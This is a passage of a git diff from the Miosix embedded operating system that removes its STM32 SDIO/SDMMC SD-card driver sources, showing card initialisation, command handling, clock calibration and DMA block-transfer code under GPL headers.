sdCLK::mode(Mode::ALTERNATE); - sdCLK::alternateFunction(12); - sdCMD::mode(Mode::ALTERNATE); - sdCMD::alternateFunction(12); - #endif - } - - #if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - NVIC_SetPriority(DMA2_Stream0_IRQn,15);//Low priority for DMA - NVIC_EnableIRQ(DMA2_Stream0_IRQn); - #else - NVIC_SetPriority(DMA2_Stream3_IRQn,15);//Low priority for DMA - NVIC_EnableIRQ(DMA2_Stream3_IRQn); - #endif - NVIC_SetPriority(SDIO_IRQn,15);//Low priority for SDIO - NVIC_EnableIRQ(SDIO_IRQn); - - SDIO->POWER=0; //Power off state - delayUs(1); - SDIO->CLKCR=0; - SDIO->CMD=0; - SDIO->DCTRL=0; - #if defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) - SDIO->ICR=0x4005ff; - #else - SDIO->ICR=0xc007ff; - #endif - SDIO->POWER=SDIO_POWER_PWRCTRL_1 | SDIO_POWER_PWRCTRL_0; //Power on state - //This delay is particularly important: when setting the POWER register a - //glitch on the CMD pin happens. This glitch has a fast fall time and a slow - //rise time resembling an RC charge with a ~6us rise time. If the clock is - //started too soon, the card sees a clock pulse while CMD is low, and - //interprets it as a start bit. No, setting POWER to powerup does not - //eliminate the glitch. - delayUs(10); - ClockController::setLowSpeedClock(); - //Wait at least 74 clock cycles before first command - Thread::nanoSleep(250000); -} - -/** - * \internal - * Detect if the card is an SDHC, SDv2, SDv1, MMC - * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC - * or Invalid if card detect failed. - */ -static CardType detectCardType() -{ - const int INIT_TIMEOUT=200; //200*10ms= 2 seconds - CmdResult r=Command::send(Command::CMD8,0x1aa); - if(r.validateError()) - { - //We have an SDv2 card connected - if(r.getResponse()!=0x1aa) - { - DBGERR("CMD8 validation: voltage range fail\n"); - return Invalid; - } - for(int i=0;i SDIODriver::instance() -{ - static FastMutex m; - static intrusive_ref_ptr instance; - Lock l(m); - if(!instance) instance=new SDIODriver(); - return instance; -} - -ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); - bool goodBuffer=BufferConverter::isGoodBuffer(buffer); - if(goodBuffer==false) DBG("Buffer inside CCM\n"); - - for(int i=0;i(buffer), - nSectors,lba)==false) error=true; - } else { - //Fallback code to work around CCM - unsigned char *tempBuffer=reinterpret_cast(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j0) DBGERR("Read: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - Lock l(mutex); - DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); - bool goodBuffer=BufferConverter::isGoodBuffer(buffer); - if(goodBuffer==false) DBG("Buffer inside CCM\n"); - - for(int i=0;i(buffer), - nSectors,lba)==false) error=true; - } else { - //Fallback code to work around CCM - const unsigned char *tempBuffer= - reinterpret_cast(buffer); - unsigned int tempLba=lba; - for(unsigned int j=0;j0) DBGERR("Write: required %d retries\n",i); - return size; - } - } - return -EBADF; -} - -int SDIODriver::ioctl(int cmd, void* arg) -{ - DBG("SDIODriver::ioctl()\n"); - if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); - //Note: no need to select card, since status can be queried even with card - //not selected. - return waitForCardReady() ? 0 : -EFAULT; -} - -SDIODriver::SDIODriver() : Device(Device::BLOCK) -{ - initSDIOPeripheral(); - - // This is more important than it seems, since CMD55 requires the card's RCA - // as argument. During initalization, after CMD0 the card has an RCA of zero - // so without this line ACMD41 will fail and the card won't be initialized. - Command::setRca(0); - - //Send card reset command - CmdResult r=Command::send(Command::CMD0,0); - if(r.validateError()==false) return; - - cardType=detectCardType(); - if(cardType==Invalid) return; //Card detect failed - if(cardType==MMC) return; //MMC cards currently unsupported - - // Now give an RCA to the card. In theory we should loop and enumerate all - // the cards but this driver supports only one card. - r=Command::send(Command::CMD2,0); - //CMD2 sends R2 response, whose CMDINDEX field is wrong - if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) - { - r.validateError(); - return; - } - r=Command::send(Command::CMD3,0); - if(r.validateR6Response()==false) return; - Command::setRca(r.getResponse()>>16); - DBG("Got RCA=%u\n",Command::getRca()); - if(Command::getRca()==0) - { - //RCA=0 can't be accepted, since it is used to deselect cards - DBGERR("RCA=0 is invalid\n"); - return; - } - - //Lastly, try selecting the card and configure the latest bits - { - #ifndef SD_KEEP_CARD_SELECTED - CardSelector selector; - if(selector.succeded()==false) return; - #else //SD_KEEP_CARD_SELECTED - //Select card here, and keep it selected indefinitely - r=Command::send(Command::CMD7,Command::getRca()<<16); - if(r.validateR1Response()==false) return; - #endif //SD_KEEP_CARD_SELECTED - - r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status - if(r.validateR1Response()==false) return; - if(r.getState()!=4) //4=Tran state - { - DBGERR("CMD7 was not able to select card\n"); - return; - } - - #ifndef SD_ONE_BIT_DATABUS - r=Command::send(Command::ACMD6,2); //Set 4 bit bus width - if(r.validateR1Response()==false) return; - #endif //SD_ONE_BIT_DATABUS - - if(cardType!=SDHC) - { - r=Command::send(Command::CMD16,512); //Set 512Byte block length - if(r.validateR1Response()==false) return; - } - } - - // Now that card is initialized, perform self calibration of maximum - // possible read/write speed. This as a side effect enables 4bit bus width. - ClockController::calibrateClockSpeed(this); - - DBG("SDIO init: Success\n"); -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/sd_stm32f2_f4_f7.h b/miosix/arch/common/drivers/sd_stm32f2_f4_f7.h deleted file mode 100644 index 49216dccb..000000000 --- a/miosix/arch/common/drivers/sd_stm32f2_f4_f7.h +++ /dev/null @@ -1,64 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SD_STM32F2_F4_H -#define SD_STM32F2_F4_H - -#include "kernel/sync.h" -#include "filesystem/devfs/devfs.h" -#include "filesystem/ioctl.h" - -namespace miosix { - -/** - * Driver for the SDIO peripheral in STM32F2 and F4 microcontrollers - */ -class SDIODriver : public Device -{ -public: - /** - * \return an instance to this class, singleton - */ - static intrusive_ref_ptr instance(); - - virtual ssize_t readBlock(void *buffer, size_t size, off_t where); - - virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - virtual int ioctl(int cmd, void *arg); -private: - /** - * Constructor - */ - SDIODriver(); - - FastMutex mutex; -}; - -} //namespace miosix - -#endif //SD_STM32F2_F4_H diff --git a/miosix/arch/common/drivers/sd_stm32h7.cpp b/miosix/arch/common/drivers/sd_stm32h7.cpp deleted file mode 100644 index 2f1a850f2..000000000 --- a/miosix/arch/common/drivers/sd_stm32h7.cpp +++ /dev/null @@ -1,1268 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "sd_stm32f2_f4_f7.h" -#include "interfaces/bsp.h" -#include "interfaces/arch_registers.h" -#include "core/cache_cortexMx.h" -#include "kernel/scheduler/scheduler.h" -#include "interfaces/delays.h" -#include "kernel/kernel.h" -#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions -#include -#include -#include - -//Note: enabling debugging might cause deadlock when using sleep() or reboot() -//The bug won't be fixed because debugging is only useful for driver development -///\internal Debug macro, for normal conditions -// #define DBG iprintf -#define DBG(x,...) do {} while(0) -///\internal Debug macro, for errors only -// #define DBGERR iprintf -#define DBGERR(x,...) do {} while(0) - -#if SD_SDMMC==1 -#define SDMMC SDMMC1 -#define RCC_APB2ENR_SDMMCEN RCC_APB2ENR_SDMMC1EN -#define SDMMC_IRQn SDMMC1_IRQn -#elif SD_SDMMC==2 -#define SDMMC SDMMC2 -#define RCC_APB2ENR_SDMMCEN RCC_APB2ENR_SDMMC2EN -#define SDMMC_IRQn SDMMC2_IRQn -#else -#error SD_SDMMC undefined or not in range -#endif - - -constexpr int ICR_FLAGS_CLR=0x5ff; - - -/** - * \internal - * SDMMC interrupt handler - */ -#if SD_SDMMC==1 -void __attribute__((naked)) SDMMC1_IRQHandler() -#elif SD_SDMMC==2 -void __attribute__((naked)) SDMMC2_IRQHandler() -#endif -{ - saveContext(); - asm volatile("bl _ZN6miosix9SDirqImplEv"); - restoreContext(); -} - -namespace miosix { - -static volatile bool transferError; ///< \internal DMA or SDMMC transfer error -static Thread *waiting; ///< \internal Thread waiting for transfer -static unsigned int sdmmcFlags; ///< \internal SDMMC status flags - - -void __attribute__((used)) SDirqImpl() -{ - sdmmcFlags=SDMMC->STA; - if(sdmmcFlags & (SDMMC_STA_RXOVERR | - SDMMC_STA_TXUNDERR | SDMMC_STA_DTIMEOUT | SDMMC_STA_DCRCFAIL)) - transferError=true; - - SDMMC->ICR=ICR_FLAGS_CLR; //Clear flags - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/* - * Operating voltage of device. It is sent to the SD card to check if it can - * work at this voltage. Range *must* be within 28..36 - * Example 33=3.3v - */ -//static const unsigned char sdVoltage=33; //Is defined in board_settings.h -static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec - -/** - * \internal - * Possible state of the cardType variable. - */ -enum CardType -{ - Invalid=0, ///<\internal Invalid card type - MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC - SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 - SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 - SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC -}; - -///\internal Type of card. -static CardType cardType=Invalid; - -//SD card GPIOs -#if SD_SDMMC==2 -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; -#else -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; -#endif - -// -// Class CmdResult -// - -/** - * \internal - * Contains the result of an SD/MMC command - */ -class CmdResult -{ -public: - - /** - * \internal - * Possible outcomes of sending a command - */ - enum Error - { - Ok=0, /// No errors - Timeout, /// Timeout while waiting command reply - CRCFail, /// CRC check failed in command reply - RespNotMatch,/// Response index does not match command index - ACMDFail /// Sending CMD55 failed - }; - - /** - * \internal - * Default constructor - */ - CmdResult(): cmd(0), error(Ok), response(0) {} - - /** - * \internal - * Constructor, set the response data - * \param cmd command index of command that was sent - * \param result result of command - */ - CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), - response(SDMMC->RESP1) {} - - /** - * \internal - * \return the 32 bit of the response. - * May not be valid if getError()!=Ok or the command does not send a - * response, such as CMD0 - */ - unsigned int getResponse() { return response; } - - /** - * \internal - * \return command index - */ - unsigned char getCmdIndex() { return cmd; } - - /** - * \internal - * \return the error flags of the response - */ - Error getError() { return error; } - - /** - * \internal - * Checks if errors occurred while sending the command. - * \return true if no errors, false otherwise - */ - bool validateError(); - - /** - * \internal - * interprets this->getResponse() as an R1 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR1Response(); - - /** - * \internal - * Same as validateR1Response, but can be called with interrupts disabled. - * \return true on success, false on failure - */ - bool IRQvalidateR1Response(); - - /** - * \internal - * interprets this->getResponse() as an R6 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR6Response(); - - /** - * \internal - * \return the card state from an R1 or R6 resonse - */ - unsigned char getState(); - -private: - unsigned char cmd; ///<\internal Command index that was sent - Error error; ///<\internal possible error that occurred - unsigned int response; ///<\internal 32bit response -}; - -bool CmdResult::validateError() -{ - switch(error) - { - case Ok: - return true; - case Timeout: - DBGERR("CMD%d: Timeout\n",cmd); - break; - case CRCFail: - DBGERR("CMD%d: CRC Fail\n",cmd); - break; - case RespNotMatch: - DBGERR("CMD%d: Response does not match\n",cmd); - break; - case ACMDFail: - DBGERR("CMD%d: ACMD Fail\n",cmd); - break; - } - return false; -} - -bool CmdResult::validateR1Response() -{ - if(error!=Ok) return validateError(); - //Note: this number is obtained with all the flags of R1 which are errors - //(flagged as E in the SD specification), plus CARD_IS_LOCKED because - //locked card are not supported by this software driver - if((response & 0xfff98008)==0) return true; - DBGERR("CMD%d: R1 response error(s):\n",cmd); - if(response & (1<<31)) DBGERR("Out of range\n"); - if(response & (1<<30)) DBGERR("ADDR error\n"); - if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); - if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); - if(response & (1<<27)) DBGERR("ERASE param\n"); - if(response & (1<<26)) DBGERR("WP violation\n"); - if(response & (1<<25)) DBGERR("card locked\n"); - if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); - if(response & (1<<23)) DBGERR("command CRC failed\n"); - if(response & (1<<22)) DBGERR("illegal command\n"); - if(response & (1<<21)) DBGERR("ECC fail\n"); - if(response & (1<<20)) DBGERR("card controller error\n"); - if(response & (1<<19)) DBGERR("unknown error\n"); - if(response & (1<<16)) DBGERR("CSD overwrite\n"); - if(response & (1<<15)) DBGERR("WP ERASE skip\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -bool CmdResult::IRQvalidateR1Response() -{ - if(error!=Ok) return false; - if(response & 0xfff98008) return false; - return true; -} - -bool CmdResult::validateR6Response() -{ - if(error!=Ok) return validateError(); - if((response & 0xe008)==0) return true; - DBGERR("CMD%d: R6 response error(s):\n",cmd); - if(response & (1<<15)) DBGERR("command CRC failed\n"); - if(response & (1<<14)) DBGERR("illegal command\n"); - if(response & (1<<13)) DBGERR("unknown error\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -unsigned char CmdResult::getState() -{ - unsigned char result=(response>>9) & 0xf; - DBG("CMD%d: State: ",cmd); - switch(result) - { - case 0: DBG("Idle\n"); break; - case 1: DBG("Ready\n"); break; - case 2: DBG("Ident\n"); break; - case 3: DBG("Stby\n"); break; - case 4: DBG("Tran\n"); break; - case 5: DBG("Data\n"); break; - case 6: DBG("Rcv\n"); break; - case 7: DBG("Prg\n"); break; - case 8: DBG("Dis\n"); break; - case 9: DBG("Btst\n"); break; - default: DBG("Unknown\n"); break; - } - return result; -} - -// -// Class Command -// - -/** - * \internal - * This class allows sending commands to an SD or MMC - */ -class Command -{ -public: - - /** - * \internal - * SD/MMC commands - * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the - * sequence CMD55, CMDxx - * - bit from #0 to #5 indicate command index (CMD0..CMD63) - * - bit #6 is don't care - */ - enum CommandType - { - CMD0=0, //GO_IDLE_STATE - CMD2=2, //ALL_SEND_CID - CMD3=3, //SEND_RELATIVE_ADDR - ACMD6=0x80 | 6, //SET_BUS_WIDTH - CMD7=7, //SELECT_DESELECT_CARD - ACMD41=0x80 | 41, //SEND_OP_COND (SD) - CMD8=8, //SEND_IF_COND - CMD9=9, //SEND_CSD - CMD12=12, //STOP_TRANSMISSION - CMD13=13, //SEND_STATUS - CMD16=16, //SET_BLOCKLEN - CMD17=17, //READ_SINGLE_BLOCK - CMD18=18, //READ_MULTIPLE_BLOCK - ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) - CMD24=24, //WRITE_BLOCK - CMD25=25, //WRITE_MULTIPLE_BLOCK - CMD55=55 //APP_CMD - }; - - /** - * \internal - * Send a command. - * \param cmd command index (CMD0..CMD63) or ACMDxx command - * \param arg the 32 bit argument to the command - * \return a CmdResult object - */ - static CmdResult send(CommandType cmd, unsigned int arg); - - /** - * \internal - * Set the relative card address, obtained during initialization. - * \param r the card's rca - */ - static void setRca(unsigned short r) { rca=r; } - - /** - * \internal - * \return the card's rca, as set by setRca - */ - static unsigned int getRca() { return static_cast(rca); } - -private: - static unsigned short rca;///<\internal Card's relative address -}; - -CmdResult Command::send(CommandType cmd, unsigned int arg) -{ - unsigned char cc=static_cast(cmd); - //Handle ACMDxx as CMD55, CMDxx - if(cc & 0x80) - { - DBG("ACMD%d\n",cc & 0x3f); - CmdResult r=send(CMD55,(static_cast(rca))<<16); - if(r.validateR1Response()==false) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - //Bit 5 @ 1 = next command will be interpreted as ACMD - if((r.getResponse() & (1<<5))==0) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - } else DBG("CMD%d\n",cc & 0x3f); - - //Send command - cc &= 0x3f; - unsigned int command=SDMMC_CMD_CPSMEN | static_cast(cc); - if(cc!=CMD0) command |= SDMMC_CMD_WAITRESP_0; //CMD0 has no response - if(cc==CMD2) command |= SDMMC_CMD_WAITRESP_1; //CMD2 has long response - if(cc==CMD9) command |= SDMMC_CMD_WAITRESP_1; //CMD9 has long response - SDMMC->ARG=arg; - SDMMC->CMD=command; - - //CMD0 has no response, so wait until it is sent - if(cc==CMD0) - { - for(int i=0;i<500;i++) - { - if(SDMMC->STA & SDMMC_STA_CMDSENT) - { - SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags - return CmdResult(cc,CmdResult::Ok); - } - delayUs(1); - } - SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags - return CmdResult(cc,CmdResult::Timeout); - } - - //Command is not CMD0, so wait a reply - for(int i=0;i<500;i++) - { - unsigned int status=SDMMC->STA; - if(status & SDMMC_STA_CMDREND) - { - SDMMC->ICR=ICR_FLAGS_CLR;//Clear flags - if(SDMMC->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); - else return CmdResult(cc,CmdResult::RespNotMatch); - } - if(status & SDMMC_STA_CCRCFAIL) - { - SDMMC->ICR=SDMMC_ICR_CCRCFAILC; - return CmdResult(cc,CmdResult::CRCFail); - } - if(status & SDMMC_STA_CTIMEOUT) break; - delayUs(1); - } - SDMMC->ICR=SDMMC_ICR_CTIMEOUTC; - return CmdResult(cc,CmdResult::Timeout); -} - -unsigned short Command::rca=0; - -// -// Class ClockController -// - -/** - * \internal - * This class controls the clock speed of the SDMMC peripheral. It originated - * from a previous version of this driver, where the SDMMC was used in polled - * mode instead of DMA mode, but has been retained to improve the robustness - * of the driver. - */ -class ClockController -{ -public: - - /** - * \internal. Set a low clock speed of 400KHz or less, used for - * detecting SD/MMC cards. This function as a side effect enables 1bit bus - * width, and disables clock powersave, since it is not allowed by SD spec. - */ - static void setLowSpeedClock() - { - clockReductionAvailable=0; - // No hardware flow control, SDMMC_CK generated on rising edge, 1bit bus - // width, no clock bypass, no powersave. - // Set low clock speed 400KHz - SDMMC->CLKCR=CLOCK_400KHz; - SDMMC->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles - } - - /** - * \internal - * Automatically select the data speed. This routine selects the highest - * sustainable data transfer speed. This is done by binary search until - * the highest clock speed that causes no errors is found. - * This function as a side effect enables 4bit bus width, and clock - * powersave. - */ - static void calibrateClockSpeed(SDIODriver *sdmmc); - - /** - * \internal - * Since clock speed is set dynamically by binary search at runtime, a - * corner case might be that of a clock speed which results in unreliable - * data transfer, that sometimes succeeds, and sometimes fail. - * For maximum robustness, this function is provided to reduce the clock - * speed slightly in case a data transfer should fail after clock - * calibration. To avoid inadvertently considering other kind of issues as - * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS - * times after clock calibration, subsequent calls will fail. This will - * avoid other issues causing an ever decreasing clock speed. - * \return true on success, false on failure - */ - static bool reduceClockSpeed(); - - /** - * \internal - * Read and write operation do retry during normal use for robustness, but - * during clock claibration they must not retry for speed reasons. This - * member function returns 1 during clock claibration and MAX_RETRY during - * normal use. - */ - static unsigned char getRetryCount() { return retries; } - -private: - /** - * Set SDMMC clock speed - * \param clkdiv speed is clkdiv==0 ? SDMMCCLK : SDMMCCLK/(2*clkdiv) - */ - static void setClockSpeed(unsigned int clkdiv); - - #ifdef SYSCLK_FREQ_550MHz - static const unsigned int SDMMCCLK=91666666; - #elif defined(SYSCLK_FREQ_400MHz) - static const unsigned int SDMMCCLK=100000000; - #else - #error "Unknown frequency for PLL Q output" - #endif - - static const unsigned int CLOCK_400KHz=SDMMCCLK/(2*400000); - static_assert(CLOCK_400KHz>0,""); - #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX - //Some boards using SDRAM cause SDMMC TX Underrun occasionally - static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; - #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX - static const unsigned int CLOCK_MAX=1; ////Should be <=50MHz - #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX - - #ifdef SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 1bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS=SDMMC_CLKCR_PWRSAV; - #else //SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 4bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS=SDMMC_CLKCR_WIDBUS_0 | SDMMC_CLKCR_PWRSAV; - #endif //SD_ONE_BIT_DATABUS - - ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed - static const unsigned char MAX_ALLOWED_REDUCTIONS=1; - - ///\internal value returned by getRetryCount() while *not* calibrating clock. - static const unsigned char MAX_RETRY=10; - - ///\internal Used to allow only one call to reduceClockSpeed() - static unsigned char clockReductionAvailable; - - ///\internal value returned by getRetryCount() - static unsigned char retries; -}; - -void ClockController::calibrateClockSpeed(SDIODriver *sdmmc) -{ - //During calibration we call readBlock() which will call reduceClockSpeed() - //so not to invalidate calibration clock reduction must not be available - clockReductionAvailable=0; - retries=1; - - DBG("Automatic speed calibration\n"); - unsigned int buffer[512/sizeof(unsigned int)]; - unsigned int minFreq=CLOCK_400KHz; - unsigned int maxFreq=CLOCK_MAX; - unsigned int selected; - while(minFreq-maxFreq>1) - { - selected=(minFreq+maxFreq)/2; - DBG("Trying CLKCR=%d\n",selected); - setClockSpeed(selected); - //must read 2 times because it blocks just the second time - sdmmc->readBlock(reinterpret_cast(buffer),512,0); - if(sdmmc->readBlock(reinterpret_cast(buffer),512,0)==512) - minFreq=selected; - else maxFreq=selected; - } - - //Last round of algorithm - setClockSpeed(maxFreq+1); - sdmmc->readBlock(reinterpret_cast(buffer),512,0); - if(sdmmc->readBlock(reinterpret_cast(buffer),512,0)==512) - { - DBG("Optimal CLKCR=%d\n",maxFreq+1); - } else { - setClockSpeed(minFreq); - DBG("Optimal CLKCR=%d\n",minFreq); - } - - //Make clock reduction available - clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; - retries=MAX_RETRY; -} - -bool ClockController::reduceClockSpeed() -{ - DBGERR("clock speed reduction requested\n"); - //Ensure this function can be called only a few times - if(clockReductionAvailable==0) return false; - clockReductionAvailable--; - - unsigned int currentClkcr=SDMMC->CLKCR & 0x3ff; - if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value - - //If the value of clockcr is low, increasing it by one is enough since - //frequency changes a lot, otherwise increase by 2. - if(currentClkcr<10) currentClkcr++; - else currentClkcr+=2; - - DBG("New clock speed %d\n", currentClkcr); - setClockSpeed(currentClkcr); - return true; -} - -void ClockController::setClockSpeed(unsigned int clkdiv) -{ - #ifndef SD_KEEP_CARD_SELECTED - SDMMC->CLKCR=clkdiv | CLKCR_FLAGS; - #else //SD_KEEP_CARD_SELECTED - SDMMC->CLKCR=clkdiv | CLKCR_FLAGS | SDMMC_CLKCR_HWFC_EN; - #endif //SD_KEEP_CARD_SELECTED - //Timeout 600ms expressed in SD_CK cycles - if(clkdiv==0) SDMMC->DTIMER=6*SDMMCCLK/10; //No clock division if clockdiv=0 - else SDMMC->DTIMER=6*SDMMCCLK/(10*2*clkdiv); -} - -unsigned char ClockController::clockReductionAvailable=0; -unsigned char ClockController::retries=ClockController::MAX_RETRY; - -// -// Data send/receive functions -// - -/** - * \internal - * Wait until the card is ready for data transfer. - * Can be called independently of the card being selected. - * \return true on success, false on failure - */ -static bool waitForCardReady() -{ - //The card may remain busy for up to 500ms and there appears to be no way - //to set an interrupt to wait until it becomes ready again. We can't just - //poll for that long as if a high priority thread is stuck polling all lower - //priority threads block, so we are forced to do a sleep. The initial value - //of 2ms was found to be impacting performance excessively, so we take - //advantage of high resolution timers by sleeping for 200us, and fallback to - //the previous value only for slow configurations - #if !defined(__CODE_IN_XRAM) - const long long sleepTime=200000; - #else - const long long sleepTime=2000000; - #endif - long long timeout=getTime()+1500000000; //Timeout 1.5 second - do { - CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); - if(cr.validateR1Response()==false) return false; - //Bit 8 in R1 response means ready for data. - if(cr.getResponse() & (1<<8)) return true; - Thread::nanoSleep(sleepTime); - } while(getTime()ICR=ICR_FLAGS_CLR; - - - transferError=false; - sdmmcFlags=0; - waiting=Thread::getCurrentThread(); - -} - -/** - * \internal - * Read a given number of contiguous 512 byte blocks from an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to read. - * \param lba logical block address of the first block to read. - */ -static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - // TODO check how many sectors can be read in the H7 - while(nblk>32767) - { - if(multipleBlockRead(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - transferCommonSetup(buffer); - - //Data transfer is considered complete once the DMA transfer complete - //interrupt occurs, that happens when the last data was written in the - //buffer. Both SDMMC and DMA error interrupts are active to catch errors - SDMMC->MASK=SDMMC_MASK_RXOVERRIE | //Interrupt on rx underrun - // SDMMC_MASK_IDMABTCIE | //Interrupt on IDMA transfer complete - SDMMC_MASK_DATAENDIE | //Interrupt on IDMA data end - SDMMC_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDMMC_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDMMC_MASK_DTIMEOUTIE; //Interrupt on data timeout - - SDMMC->CMD |= SDMMC_CMD_CMDTRANS; - - SDMMC->IDMABASE0 = reinterpret_cast(buffer); - SDMMC->IDMACTRL &= ~SDMMC_IDMA_IDMABMODE; - SDMMC->IDMACTRL |= SDMMC_IDMA_IDMAEN; - - SDMMC->DLEN=nblk*512; - - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDMMC->DCTRL=(9<<4) | SDMMC_DCTRL_DTDIR | SDMMC_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - - // This while has been benchmarked and it runs for less then 200 ns for - // every read issued. It is needed to wait for the IDMA transfer complete - // after the wakeup to confirm that the data is consistent. - while(SDMMC->STA & SDMMC_STA_IDMABTC) - ; - - } else transferError=true; - - SDMMC->DCTRL=0; //Disable data path state machine - SDMMC->MASK=0; - - // CMD12 is sent to end CMD18 (multiple block read), or to abort an - // unfinished read in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - - //Read ok, deal with cache coherence - markBufferAfterDmaRead(buffer,nblk*512); - - return true; -} - -/** - * \internal - * Write a given number of contiguous 512 byte blocks to an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to write. - * \param lba logical block address of the first block to write. - */ -static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, - unsigned int 